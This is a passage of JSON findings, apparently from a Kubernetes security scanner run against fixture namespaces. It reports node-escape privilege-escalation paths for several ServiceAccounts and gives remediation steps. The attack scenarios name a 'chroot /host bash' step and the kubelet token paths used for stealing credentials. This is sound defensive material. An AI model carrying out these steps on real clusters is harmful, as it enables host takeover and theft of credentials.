      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "netpol-imds"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/privesc-fixtures/sa-node-migrate:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-node-migrate` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-node-migrate` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-node-migrate` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-node-migrate",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-node-migrate` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-node-migrate` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-node-migrate`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-node-migrate`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-node-migrate",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pv-hostpath",
      "namespace": "pv-hostpath-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`.",
      "Acting as `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pv-hostpath",
          "namespace": "pv-hostpath-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-cluster-admin:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-cluster-admin` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-cluster-admin` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-cluster-admin` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-cluster-admin`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-cluster-admin`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-cluster-admin",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-impersonate:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-impersonate` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-impersonate` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-impersonate` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-impersonate` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-impersonate` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-impersonate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-impersonate`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-wildcard:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-wildcard` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-wildcard` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-wildcard` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
